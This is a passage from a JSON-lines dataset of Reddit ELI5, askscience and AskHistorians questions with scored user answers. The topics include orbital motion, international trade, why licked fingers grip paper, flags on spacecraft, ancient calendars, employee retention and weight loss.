indoors.  Your effective weight from this acceleration would be about 50 grams (or at least the equivalent weight to this mass) at noon, assuming you have an 80 kg mass to begin with.\n\nIf you manage to make it into space then you would be traveling at about 30 km/s relative to the sun.  This seems like a lot, but in orbital mechanics it's relatively modest.  In a year of travel you'd be 6.2 AU from where you started, so the Earth would be nowhere close.  You're looking at years of travel before you leave the solar system, but even the solar system is quite empty.  Without a carefully planned trajectory you're never going to even come close to any of the planets.  Your immunity to the Sun's gravity means that you'll exist the solar system with a higher speed than the Voyager probes, but your trip will be far less interesting.  You'll get to watch as the sun slowly becomes a distant spec and you're left in the vast emptiness that is our universe.\n\n^(aside: I'm assuming immortality or at least imperviousness from the harsh environment of space). ", "A couple points here that haven't been covered:\n\nThe only way to escape the earth's gravity is to travel so far away from the earth that the expansion of the universe causes your velocity relative to the earth to exceed the speed of light. Eventually you will leave the earth's light cone, and therefore can not be influenced at all by the earth. You would have to travel a very very long way away for this to occur. This does not fit the question (in which you are magically unable to be influenced by the earth's gravity, but I feel that it is an important point).\n\nThere is no such thing as a stationary reference frame with respect to the universe as a whole. What this means is there is no way to define 'here' in relation to 'everything'. You can be stationary relative to a point on earth, but you are moving relative to the sun. You can be stationary relative to the sun, but you will be moving relative to the earth and to the galactic centre. If you are stationary relative to the galactic centre, you are moving relative to the earth, the sun, and every other galaxy.\n\nIn the spirit of the question, if you are somehow held motionless relative to the sun, then you would see the earth moving away from you at a speed of approx 30 meters per second. It also moves away in a curved, almost circular path. If you stayed in that point relative to the sun, the earth would orbit the sun and come and hit you on the back of the head at a speed of 30 meters per second. You would be in a similar position relative to the earth approximately 365 days and 6 hours later, but you wouldn't be in the same city or country as where you started as the earth would be rotated approximately one quarter of one rotation. Due to variations in the earth's orbit, you also probably be 4cm below the surface of the earth if your starting point was at midnight, or floating 4cm above the surface of the earth of you started at midday.\n\nIf you were held stationary relative to any other thing, the answer would be very different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "szxz4", "title": "how does purchasing goods from across the world work?", "selftext": "If I'm interested in purchasing oranges from a farmer in India, how does that work?\n\nHe won't send the product until I send the money. I don't send the money until I see the product. What currency do we use?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/szxz4/eli5_how_does_purchasing_goods_from_across_the/", "answers": {"a_id": ["c4id83a"], "score": [2], "text": ["You have to trust the indian that he will send the goods, just like you trust _URL_0_ will send the goods after you give them your CC info.  If the indian wants to sell to international buyers, he will have a bank account setup to accept foreign money...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["amazon.com"]]}
{"q_id": "7zc5xm", "title": "What causes the increased grip on paper when you lick your finger?", "selftext": "When trying to separate pages, I sometimes lick my fingers to make the pages \"stick\". What about dampening my skin makes it adhere so well to the paper?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7zc5xm/what_causes_the_increased_grip_on_paper_when_you/", "answers": {"a_id": ["dun4nxp", "dup53ab"], "score": [9, 2], "text": ["I can't say I know the details, but I can give you my thoughts which might give you a hint in the direction of an answer.\n\nOn a microscopic or even smaller level, materials are very rough. Two objects that touch, actually rarely actually do, and when they do, it's with very small and few contact points. You can imagine that the level of friction would not be ideal, however if you could fill those voids with a liquid of some kind, you could increase your traction between the surfaces. That in itself isn't the whole answer though, because lubrication to make things slip is doing exactly the same thing. So what's the difference?\n\nIn my opinion, that would be porosity. If we look at the surface of the paper in a microscope, it actually would look like a thick fiber or felt pad. Felt is something you place under furniture to make it slide more easily because it reduces pressure points. Also paper is perhaps slightly powdery I imagine on a microscopic level. Wetting your fingers will cause the moisture on your fingers to interact with all those fibers and slightly bind them together.\n\nAn other aspect is the surface texture of your fingers. Dry hands will slide more on smooth surfaces like glass compared to moist hands or sweaty hands, which I'm sure you could imagine would make a sticky squeaking sound. That's because your fingers are also porous and rough and fibery, not to mention while not exactly powdery, dry skin will more easily release dead skin cells which will further reduce traction. Dry skin is also more stiff and less rubbery. So wetting your skin will have the effect of softening the texture of your skin, making it rubbery, increase the surface contact with objects, reduce dead skin cells from getting in the way, bind loose skin fiber textures, and do the exact same thing to the paper.\n\nAn opposite effect is also true with paper. Handling non-porous materials like metal, your hands might get sweaty, increasing \"sticktion\" until there's so much sweat/moisture that it starts to lubricate instead and your hands slip. Porous materials like cloth, rope, wood, and paper, have the opposite effect by absorbing moisture and oils thus drying out the skin in contact, and so reducing traction even more than normal.\n\nHope that made sense, and sorry if it's a bit long.\n", "I'm going with Surface Tension. Surface tension (or interfacial tension) being the function of a liquid to minimize it's surface (interface) energy. Solid-to-Water surface interfaces have surface tension just like an Air-Water interface. The key is that water experiences a lower surface tension with your finger pad or the page than with the air. The water molecules spread out between your finger and the page, minimizing the area exposed to air. \n\nSurface tension is also responsible for things like capillary action, wicking, and enabling a drop of water to hold a coverslip to a microscope slide."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "phtnz", "title": "Do our organs emit any smell within our bodies? ", "selftext": "Is there a way to tell if inside our bodies there is a certain, or various smells? An example would be waste and urine, we know it smells bad outside, but what about in our bladder and bowels? And what about all our organs, do they give off a scent inside? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/phtnz/do_our_organs_emit_any_smell_within_our_bodies/", "answers": {"a_id": ["c3phxii", "c3pjv8z"], "score": [2, 2], "text": ["Scents are perceived by humans via the olafactory system, i.e., olafactory receptors in your nose pick up on microscopic particles and translate that into information in your brain that you call \"smelling\".    Waste and urine smell bad \"outside\" and \"inside\" alike, but there is no olafactory receptors \"inside\" your body.  They technically give off a scent inside your body, as they would outside your body.  The main difference, is that inside your body, there is no means of smelling that scent.  ", "Pretty much by definition a smell is something borne by air. Since pockets of air (or any other gas) are not normal inside the body (n.b. the interiors of the lung, bladder and digestive tract are technically outside the body), you would not expect there to be any aromas lingering inside you. If you were to cut the body open, then different organs definitely have different smells. If you want an idea, go to a butcher and have a look at livers and kidneys, they both have quite distinctive smells, however this is only once they are in contact with air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "20mxms", "title": "how would europe cope if russia stopped all energy exports to the eu?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20mxms/eli5_how_would_europe_cope_if_russia_stopped_all/", "answers": {"a_id": ["cg4t0f8"], "score": [3], "text": ["In the short run, they would have to negotiate energy imports from other sources. My best guess would be Norway, the US, Canada, and the Middle East as their best bets.\n\nIn the long run, they might go nuclear. France has already done so and its working out well for them although the Fukishima disaster has really soured the enthusiasm for nuclear energy, especially in Germany."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ao8tz", "title": "why is gigantism and acromegaly so rare in humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ao8tz/eli5_why_is_gigantism_and_acromegaly_so_rare_in/", "answers": {"a_id": ["e4wtoh1", "e4wtt7b", "e4wv0pv"], "score": [5, 23, 3], "text": ["There is a very extensive and debatable history of archeological evidence for giants, human or otherwise. Unfortunately, when archaeology was new, these findings weren't in line with the Christian doctrine, so much of the evidence that was being discovered was also being destroyed to protect the narrative.\n\nThis is the story, anyways.\n\nBut yes, supposedly they were desireable, worshipped, and well cared for in ancient times.", "They are not heritable conditions, which would be a number one issue insofar as selection. Beyond that, the conditions can be debilitating, as they place a large amount of stress upon the skeleton and organs. Being abnormally large does not necessarily equate to being abnormally strong, and in fact may result in the inverse as more of your strength is spent just to withstand your own body. ", "No basically they are very bad for the individual and the group. Large people require substantially more food than the normal sized person. One very tall person in modern India required a government grant to avoid starving because he couldn't farm enough food to keep him going. A really large person also isn't that ideal in fighting they tend to be slower and more cumbersome in their movements most of their muscles are working to keep the frame upright rather than being that athletic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bq4ohb", "title": "why are laptop cameras are still so consistently low quality even though it's 2019?", "selftext": "Phone cameras despite having size constraints are always getting better every model. Even tablet cameras are still far superior than laptop cameras", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bq4ohb/eli5_why_are_laptop_cameras_are_still_so/", "answers": {"a_id": ["eo15cpx", "eo1lh04", "eo1n8b6"], "score": [25, 11, 3], "text": ["I'm no expert, far from it, but I'll hazard a guess that it's about cost to produce vs the use and saleability of the product.\n\nA laptop camera is generally only used for video calling, so you don't need image stabilization, HDR or 27 bazillion pixels. A relatively cheap and basic 1080p sensor is perfectly fine for what it's used for. \n\nSmartphones on the other hand are used much more as actual cameras. For this reason all those fancy features become useful and people will pay for them. Having something the competition doesn't makes your phone stand out in a saturated market and justifies the increased cost of manufacture and the higher retail price.", "Most people dont actually use those cameras for photo taking but rather just for video chat purposes. Due to the limits of the internet your not gonna be getting great quality out of no matter what so why even bother putting a high quality camera in that's gonna raise the price? Phones are actually probably the main way people take pictures these days so it makes sense to give them good cameras.", "When's the last time you needed a high quality image taken with your laptop camera? When's the last time you've taken a picture with your phone/tablet camera? \n\nSimply put, there is more demand for higher quality cameras on those devices than there is for on a laptop. One of the major differences between those devices is the quality of the camera and its post-processing software. \n\nA majority of people, when buying a laptop, probably do not know nor care about the quality of their laptop's camera, as they may never even use it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4m5445", "title": "in the u.s. why do minorities and those in poverty have a higher risk of dropping out of school?", "selftext": "I understand that there probably isn't one simple answer to this question, but I've always wondered this. I have a couple of personal theories, but I haven't been able to find any statistics or facts on the main reasons.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4m5445/eli5_in_the_us_why_do_minorities_and_those_in/", "answers": {"a_id": ["d3sn08m", "d3sr6hb", "d3srsxh", "d3ss928", "d3uctrf"], "score": [6, 27, 9, 3, 2], "text": ["One cause for families living in poverty would be the kid possibly having to drop out to help their family make enough money to make ends meet that month/week/time period. Minorities are considerably more complex and I personally have nothing beyond theories with nothing to back them up.", "According to The Silent Epidemic: Perspectives of High School Dropouts, \"a third (32 percent) [of the students interviewed] said they\r\nhad to get a job and make money; 26 percent\r\nsaid they became a parent; and 22 percent \r\nsaid they had to care for a family member.\" \n\nStudents from low-income are more likely to need to make an income, to experience unsupported teen pregnancy, and to care for a family member than their more affluent peers. A student from a middle or upper class family would not need to work and would likely have financial support to care for a baby or family member. ", "The answer is that it is complicated.  Many in poverty and disproportionately minorities have to leave school to work earlier in life.  Also schools serving poor students universally have a harder time educating students for a number of reasons, including teacher retention and recruitment, funding, and institutional racism (mainly unintentional, but some specifically intentional).  \n\nOne big part as well is that students of middle class and better off parents usually also have several advantages in school, especially being exposed to a broader scope of background knowledge that simply makes school easier, as they can make more connections in their learning, which literally helps them remember better.\n\nSo, there's no real right answer.  There are literally rooms full of books and numerous articles and dissertations on the subject, and you will find lots of contradictory material. \n", "The big thing is they need money, and going to school isn't getting it for them.\n\nThey want money *now*, and get it by getting a job or becoming a criminal.\n\nOther contributing factors include drug abuse, pregnancy, lack of parental support, unsafe and ineffective schools, and lack of cultural support for education. ", "I read the book Amazing Grace which talks about the author's experience of poor (particularly black) America. It's a pretty interesting read and he also has  other sources to back what he saw first hand. \n\nA vast majority of poor Americans are people of colour, so that tends to intersect. As they live in poorer areas, the conditions of the schools are abysmal, and the teachers tend to be less experienced and as \"good\" as others in middle class/rich areas where they are given more resources. Institutional racism plays a huge part in the system at large in not paying attention to schools in poor neighbourhoods (which tend to have a mostly minority population) as well. On top of a turbulent life that poverty brings, it's sort of no wonder they drop out. If your family can not even afford basic life necessities, going to school when you can work instead seems more appealing, and sometimes it's even necessary to support everyone else. \n\nI would also think that if there is absolutely no way you're going to be able to pay for a post secondary education, dropping out of highschool doesn't really seem that dire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "89q88w", "title": "how non-dentist teeth whitening methods such as gels and led lights work and are they safe?", "selftext": "[HiSmile](_URL_0_) is the product in question. Others are available. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/89q88w/eli5_how_nondentist_teeth_whitening_methods_such/", "answers": {"a_id": ["dwsxdbt", "dwsy3fi", "dwujlpr"], "score": [19, 7, 2], "text": ["I am not a dentist, but I work in the dental field. Your teeth have layers. The outermost layer is called enamel which is a hard material that protects other layers from tooth sensitivity and decay. Generally speaking, teeth whitening is a process that removes a very thin layer of stained enamel, regardless of the method used to whiten the teeth. You need enamel to protect your teeth. But to answer your question, is it safe? If you do not whiten your teeth more than the recommended frequency for whatever method you use \\(and only use one method at a time\\), then it is relatively safe. If you have tooth sensitivity, are prone to cavities or are able to see through your teeth when you hold a light to them, teeth whitening is probably not for your.\n\nEdit: I went to the HiSmile website and the product claims to whiten teeth \"with no damage to enamel.\" While you might not technically be \"damaging\" your enamel, you are still removing a very thin layer. I suppose that's up to the consumer to decide if removing enamel falls under the same category as \"damaging.\"\n\nEdit2: If your teeth are capped/crowned/veneered, no tooth whitening product will whiten that material.", "There are at least two different methods.\n\n1. Bleaching with a peroxide, e.g. hydrogen peroxide, activated by ultraviolet light (UV). This is the same technique that some people use to [restore old yellowed plastics](_URL_1_). The problem with this is that the peroxide could cause chemical burns in your mouth (although only low concentration solutions are used), and that UV light is inherently dangerous. [Some more info here](_URL_0_).\n\n2. Wearing away a tiny bit of the enamel, the outermost layer of the teeth. This is what HiSmile appears to use, though I'm not 100% sure. A mild abrasive such as sodium bicarbonate (baking soda), and again a UV light to provide energy for faster chemical reaction. Though HiSmile claims not to use UV, maybe it's just visible blue light. The problem with this method is that too much abrasion weakens your enamel.", "Thanks for that! Much appreciated! "]}, "title_urls": [], "selftext_urls": ["https://uk.hismileteeth.com/products/teeth-whitening-kit"], "answers_urls": [[], ["http://sciencenordic.com/light-not-bright-idea-teeth-bleaching", "https://www.youtube.com/watch?v=VU7vXMezW_I"], []]}
{"q_id": "345i4q", "title": "If a space ship were to have a cloth banner, a flag, on the outside, while in motion, would it \"flap in the wind\" or remain perfectly straight?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/345i4q/if_a_space_ship_were_to_have_a_cloth_banner_a/", "answers": {"a_id": ["cqrh7nl", "cqrilpw", "cqrj8xg", "cqrkeus", "cqrkqfw", "cqrmh4w", "cqrng33", "cqroxvi", "cqrpzs9", "cqrtyqz", "cqs0ji8", "cqs5fr4", "cqs5v8a", "cqs623t", "cqs8mqm", "cqsbt72", "cqsewwc", "cqsf8n6", "cqsjzt9"], "score": [1736, 4, 594, 15, 77, 5, 4, 56, 8, 2, 2, 5, 3, 2, 2, 2, 2, 2, 2], "text": ["Since there is nothing to push back against the cloth, the only physical forces governing the movement would be the three laws of motion. _URL_0_ (this is always true, but I mean the actual results are simple enough that it's easy to understand exactly how it will act)\n\nIf the ship isn't accelerating the cloth wouldn't move at all. If it ship is accelerating the cloth will point away from the direction of acceleration. If there is a quick change it will bounce around a bit.", "Obviously it depends on the mass of the flag relative to the pressure exerted by the solar wind and the sun's photons. However, for a normal flag, the effect of the solar wind and radiation pressure are esdsentially neglegible, meaning that the flag will stay taut as long as the ship is accelerating. Once the ship stops accelerating the flag will remain in the same orientation bit not pulled taut. If you want the flag to flutter you need a flag that is extremely light for it's surface area and the ship cannot be accelerating.", "When the Apollo astronauts planted a flag on the moon it had a wire frame in the upper seam to keep the flag extended out.  Planting the flag in the lunar regolith involved a twisting motion of the flag pole, and this imparted a pendulum motion on the lower part of the flag that some less informed people took to be the flag waving in a breeze, and was *evidence* that the landing was faked.  Of course, it wasn't faked.", "It wouldn't flap around purely as a result of the face that it's moving, but in reality every time the ship accelerates (speeds up, slows down, changes direction) the flag will experience forces that will make it move, and the flag would carry on bouncing and flapping around after the acceleration finishes.", "There is some ambiguity here, so I'll try to go through it.\n\n**If the spacecraft is in space, and is \"in motion\" around a body, but *not* accelerating by its own engines**\n\nThe flag will remain stationary in whatever configuration it was in.\n\n**If the spacecraft is in space, in motion, the flag is affixed, and then the spacecraft accelerates with its own engines**\n\nThe flag will realize a moment of fluttering as the acceleration acts on the craft, then the flag pole, then the parts of the flag. Afterwards, it will remain perfectly straight (assuming the engines push *perfectly* in the same direction, and no lateral movements occur).\n\n", "Try to imagine a model space ship here on earth.  The ship has a heavy chainmail \"flag\" attached to it, hanging from the bottom.  Since it's a chainmail flag, it's pretty much unaffected by weak air currents in your room.  \n\nIf you are not moving the model ship, it's as if it was in space accelerating at 1 G.  What is your chainmail flag looking like?  Now imagine that you apply different accelerations in other directions, such as sideways, you should be able to visualize what a cloth flag in the vacuum would look like.", "Someone further down pointed out you *could* **waste** air by having a vent exiting the spacecraft that blows on the flag.  My question is could you make a believable flag of a certain material and create a simplistic \"waving in the wind\" simulation by \"venting\" something other than air?  For example, solar sails capture photons... Could we make a believable flag from solar sail material and hit it edge on with enough photos to make it \"flap in the breeze\" or would the existing sunlight make that impossible?", "I have a small correction to all the other answers, but mostly they're correct.  The flag will not move unless the ship is under acceleration.\n\nExcept, every move that cloth makes is stretching some fibers somewhere.  It acts like a spring in many different ways.  When the ship stops accelerating, the tension will be released and the cloth will relax and crumble to a slack position.  It may oscillate as it finds a rest state.\n\nThere is also likely to be vibration from any working machine on the ship, or any living thing, even if they're only breathing.  That can cause the flag to move.", "In relation to this question, and as an example.  At about 0:10 into this video: _URL_0_, the solar shield of Skylab can be seen \"flapping\".\n\nWould this have been caused by RCS/EVA propellant in close proximity to the craft? Residual atmosphere?  Solar wind?", "Here is video to help answer your question: _URL_0_\n\nThe video is of space walk 30.  \n\nThe big thing to keep in mind the ISS is going around the earth at 17,100 mph, so it is definitely moving. Notice though that most of the fabric and cords remain still (aside from being jostled by the crew members).  \n\nAs pointed out in previous comments, this is because the ISS is traveling at a constant velocity (for this context).  ", "In addition to everyone else's comments, if we're talking about some near-light-speed sci-fi ship, the universe is technically full of a very thin layer of hydrogen (and other) gas.  That might have some impact on the flag at relativistic speeds, but realistically we won't see anything resembling the vortexes created around a flag in an atmosphere.", "When accelerating, inertia would make it bounce around. If accelerating fast enough, it would snap back, but wouldn't appear to be waving unless the ship is creating a vibration too. Otherwise, it would eventually settle down again due to loss of energy to whatever flag pole it was connected to and just stay in whatever position it settles in. Until the ship moves again or passes through a dust cloud or something to make it move again. ", "It would be straight, but any change in speed or direction would cause it to move. Also, vibrations from the ships machinery, assuming there is some, would cause it to move. I would think that the ships own gravity, depending on the size of the ship, the pull the flag in the direction ship's cent of mass. I am uncertain, but solar winds might also cause it to move, given they are strong enough, but it wouldn't be anything like wind in an atmosphere. ", "Depends on the motion really if the craft is constantly changing direction the cloth would lag and snap because it has some elasticity like when they were placing the US flag on the moon you can see this happen but if it were just going straight it would flaten out", "Depending on the properties of the flag material, you might still see some fluttering when the flag changes direction, from vibration. Many cloths would probably not do this, but something particularly elastic might do it. You also don't have any air resistance damping out the vibrations (although you do have mechanical losses in the flag material).", "The flag will exhibit periodic motion as a result of small perturbations during the acceleration phase of the space ship. This periodic motion could continue for quite a while depending on how the flag is attached.", "Since everyone is trying to find an idea cancelling the movements of the superflag they've put on their spaceship, I propose an idea that will solve the problem, definitively: Put a nice screen displaying a waving flag on both sides of the ship, and since I know somebody will say that it will use power from the ship that is scarce, let's put 2 dedicated solar panels for it, and turn it off when there's not enough energy from them. Problem solved.\n\nBut the question was interesting :)", "The simplest simulations of cloth tend to ignore more complex effects like air resistance so its a good visual for what would happen in space.    \n\nI found this video that even compares itself to the flag left on the moon, its simulated under constant acceleration so your spaceship isn't drifting in this case but otherwise its accurate.  \n_URL_0_", "It would move but not from wind.  Besides acceleration of the whole ship causing the flag to move you have to consider pendulum like residual activity from the cessation of acceleration.  In addition, the vibration in the ship's hull due to internal motors or expansion/contraction due to temperature variances would also imbue small accelerations causing the flag to appear to be waving."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Newton%27s_laws_of_motion"], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=iC1zmLgUjco"], ["https://www.youtube.com/watch?v=26QWMMT1c8Y"], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=qOvb3WLAX0E"], []]}
{"q_id": "7lkbp5", "title": "If you asked a person in 10 B.C., \"What year is it?\" What would their response be?", "selftext": "Further questions on the same topic --\n\nWhen was it decided that year 1 was year 1? At the time or several years later? What was used prior? \n\nWhen/How did every civilization/society eventually agree on when year 1 started? This seems like it would be highly contested but obviously became globally accepted. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7lkbp5/if_you_asked_a_person_in_10_bc_what_year_is_it/", "answers": {"a_id": ["drmvnw7", "drn9ibj"], "score": [4, 2], "text": ["Hi there -- not to discourage further discussion, but the section of our FAQ on [Calendars and timekeeping](_URL_0_) may be of interest to you. ", "Where in 10 BCE?  There really wasn't a common calendar even within most empires."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/language#wiki_calendars"], []]}
{"q_id": "5se4sz", "title": "why do companies continuously lose experienced employee for salary raises?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5se4sz/eli5_why_do_companies_continuously_lose/", "answers": {"a_id": ["ddec0se", "ddedhbx", "ddeec0p", "ddeeu1i", "ddeez6t", "ddeie9s", "ddeiqmx", "ddeqjwx"], "score": [21, 3, 2, 3, 4, 21, 3, 2], "text": ["Bad management and the belief that the employee can easily be replaced. \n\nAny employee *can* be replaced, but there is always a cost. The stocker at a grocery store can be replaced at minimal cost. Giving a stocker a raise of 2$ might be less profitable than replacing them, given that introduction for such a position will be minimal.\n\nA sysadmin will be a different thing, depending on the set-up weeks if not months will be needed to replace such a person. \n\nSo yes, it is probably not profitable. \n\nHowever, if you got an employee who is willing to work for less than they could expect on the free market, it would of course be profitable. The question is whether you want that. Bad managers will opt for this because they only see the bottom line at the end of the month, but not the extra profit that experienced employees mean. ", "Most, if not all, companies are predicated on their employees being easily replaceable identical cogs, and if they aren't then they work hard to make that the case and removing or limiting the number of key personnel (i.e. ones that aren't so easy to replace).", "Typically for me it's been easier to negotiate a pay raise interviewing than negotiating internally. Denying me is an invitation to the door, as I interpret denial as my former employers didn't think I was worth the money and found me expendable. I also don't appreciate secret salaries because I'm going to find out what everyone is making - people talk, people brag, and when I learn jag-off waste-of-space over there is making more than me for no good reason, I won't be sticking around - the company won't even be getting the option.", "employees also do a bit of gambling by moving. they have to do probation period again, and also lose benefits that come with company loyalty (employee stock option/program, more vacation days, etc2). because of that, companies can afford to not give as much raise as how much the person can get in open market because they know that there's non-salary benefit for employees if they stay vs if they leave.", " >  because the current employer would not appreciate them\n\nFor the situation you've described, you've given the answer. The 'problem' is that the company thinks, in the long run, it would be better to take that short-term hit employing a new person than to raise the salary of the old person. The new employer clearly values the person more than the old employer (and is therefore willing to give them a higher wage) - although which valuation is 'right' depends on the person, job etc. It may in fact be that the new job is slightly more suited to the persons skills than the old job, and they are in fact more valuable in that position.", "[I'm seeing a lot of \"management is stupid\" posts that don't really examine the issue.  Here is a little devil's advocacy for you.]\n\nYou are making a lot of assumptions that don't always hold true.\n\nEveryone *thinks* they are a good employee, and often overestimate their value to the company.  Not everyone is, and companies are glad to let people like that leave.  Nor do those people always tell you the whole story.  They might have gotten a $5000/yr raise, but lost opportunities for advancement, and went from 4 weeks to 2 weeks vacation.  \n\nEven assuming things happen exactly as described, it is not necessarily a bad thing in the big picture.  Managers have to work with limited resources, and one of those resources is salary.  Most managers would happy give a marginal employee a big raise to keep them, if that didn't mean losing money to spend elsewhere.  Without salary discipline, a company would wind up spending too much money on low and average performers.  The price of that discipline is occasionally letting a good performer get away.\n\nAlso, a lot of people overestimate how hard it can be to replace someone.  While it is not ideal, if you have three sysadmins, and a manager who used to be a sysadmin, and you lose one, that is not a huge step backward.  The institutional knowledge is still there, and the remaining employees just have to take up more responsibilities while the replacement comes up to speed.\n\nFinally, changing the corporate culture to make it easier to give big raises to retain employees would not solve the problem.  The same freedom that lets a manager keep an employee will make it easier to poach one from someone else.  Same risk of losing people, you are just paying more for the privilege.", "What you described is the case often, but not always. Many companies do promote from within and continue to give people higher titles and pay that matches their experience.\n\nAs for when it does happen, there's eventually a limit to how much value the employee can generate for the company even if their skills go up. Say the company hires someone fresh out of college for a junior position because that's all they need. Their employee gains experience over the years, becoming more and more senior and expecting more pay. However, if the company still only needs a junior person, they don't want to pay a senior salary to someone because they are overqualified for the role the company has to fill. Better for everyone if the experienced employee moves on to a higher paying job that actually requires their experience and the company just gets another (low salary) junior employee.\n\nI've seen both examples happen at my company. Some people come in fresh out of college into junior roles and eventually climb higher and higher because the company has need for people in higher positions in those disciplines. Other times there are small departments that are effectively salary capped because the company just doesn't need someone with years and years of experience in those roles, so people come in, work for a bit, and then move to either a different department or a different company.", "I work at a university, and we have specific salary ranges that we have to  stick within, with some formal processes for raises within that range.\n\nBasically unless we retool the job and explicitly add new responsibilities to the position, then we're not going to be able to offer more than a certain salary. In my most recent endeavor to try to get an employee a higher salary, it ended up going up three levels of management - my boss's, boss's, boss making a case to his boss for the increased salary. Once you get that far away from the position though, it makes it really difficult to make the case unless the person is *really* spectacular and position is *really* crucial... and the boss^3 has never even met the person he's making the case for giving a higher salary to.\n\nIf someone jumps through all the right hoops, we can fairly easily move them up to the top of their salary range, but no higher without reclassifying the job which is tricky when there is someone in the position. It is easier to retool the job when it is vacant, which can result in the frustrating experience of having a great person ask for a salary that we can't give them, have them leave, and then we can retool the job to get a higher salary, and then the next occupant of the job benefits from the salary increase."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1k6i18", "title": "If only 4-5% of the air we exhale is CO2, how many times can we breathe the same one breath? And at what point would we pass out.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k6i18/if_only_45_of_the_air_we_exhale_is_co2_how_many/", "answers": {"a_id": ["cblyh4x", "cbm2wyt", "cbmbrts"], "score": [15, 2, 2], "text": ["Interestingly, your body registers suffocation not by the lack of O2 in the air but by the concentration of CO2 in your blood. Without a way to get rid of CO2, you would still feel the same as if you were holding your breath.", "The mechanism that drives your body's respiratory system is the difference in concentration between O2 and CO2 at the blood/air barrier within the lungs.\n\nI can't estimate the answer to your question, but I can say that your lungs would transport less and less as the O2 and CO2 levels in the two areas began to approach each other.", "Not so easy to answer (for me at least). I think the easiest way to go about answering the question is to look at an average breath (450ml) and look at the O2 contained therein (94,5ml). The average body uses about 200ml of O2 per minute and breathes 10 times. That means after 5 average breaths the O2 is gone (not really, it asymptotically goes toward 0) and has been replaced by CO2. So my best guess is that you have about 30 seconds longer than you can hold your breath without fainting. Whether you keep on breathing in and out does not really make too much of a difference at this point, only that your muscles produce more CO2 and hasten the inevitable.."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3fp6d5", "title": "What happens to the incident energy of a photon when it is less than the work function of the metal?", "selftext": "I get that the electron can't be ejected when it's under the threshold and when it's above, that excess energy is converted into kinetic energy. However, if the energy of the photon is less than the threshold, what happens to that energy? Does the energy not get absorbed? I assume that the electrons will begin to vibrate more and cause an increase in temperature, but won't vibrate enough so that electrons are ejected. However, I want to be sure on the answer.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3fp6d5/what_happens_to_the_incident_energy_of_a_photon/", "answers": {"a_id": ["ctqpgqj"], "score": [6], "text": ["It could be absorbed by an electron and re-emitted, it could be absorbed by an electron and not be re-emitted (this would just result In a fast electron, but not fast enough to leave the metal in any high likelihood), it could jostle to crystal lattice to form a phonon (quanta of vibration) which can be interpreted as heating the metal, and in pretty unlikely circumstances it could pass right through.  Probably lots of other things too, but the seem to be the most apparent ones to this physics undergrad!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ubn2f", "title": "how long does it take to lose a unit of weight after a day of a calorie deficit?", "selftext": "I'm sure the answer is complicated.  But I'm wondering if a calorie deficit results in an immediate loss of weight, or if there is a chain of biological events with an end result of weigh loss.  Alternatively, when we eat too much, does that show up immediately?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ubn2f/how_long_does_it_take_to_lose_a_unit_of_weight/", "answers": {"a_id": ["cegflqb", "cegg44w", "ceggn93", "cegien7", "cegioqb"], "score": [30, 6, 2, 6, 2], "text": ["There is a fantastic video that I have shown my students about this from the series Body Story:\n\n[Part 1 Starts at 7:44](_URL_0_)\n\n[Part 2](_URL_1_)\n\nRoughly speaking, one pound is 3500 Calories.  However, our bodies are complicated and if you just try to starve yourself, you won't just start burning fat calories.  In fact, the body will (due to evolution) detect that there must be a famine and will try to hold on to your fat stores.  One way it does this is by reducing the energy your mitochondria release which makes it feel like you have less energy.\n\nIf you starve yourself, first, your liver will release its storage of glucose (sugar), and since it takes water to lock up that sugar, you first will lose water weight, which is easily recoverable and creates deception about your weight loss.  It also is why most diets fail because the first time you eat, those sugar stores come back.\n  \nThe better way to lose weight is to combine moderate exercise with a reduced/healthy diet.  This way, your body releases the fat more willingly because you are still eating, and so your body does not think that there is famine, and it is more willing to release the fat stores to fuel growing muscles.\n\nedit: fixed the links", "A lb of fat contains 3500 calories.  \n\nA \"normal\", active person burns about 2000-3000 dietary calories a day.  An obese person might need more to break even, but it's unclear.  Fat stores shouldn't require many calories to maintain, however, just walking around can be like lifting weights.  Weight is certainly involved.\n\nAs GregoryCarlson says, metabolism may slow down due to hunger.  But not necessarily.  Part of the problem is vitamin 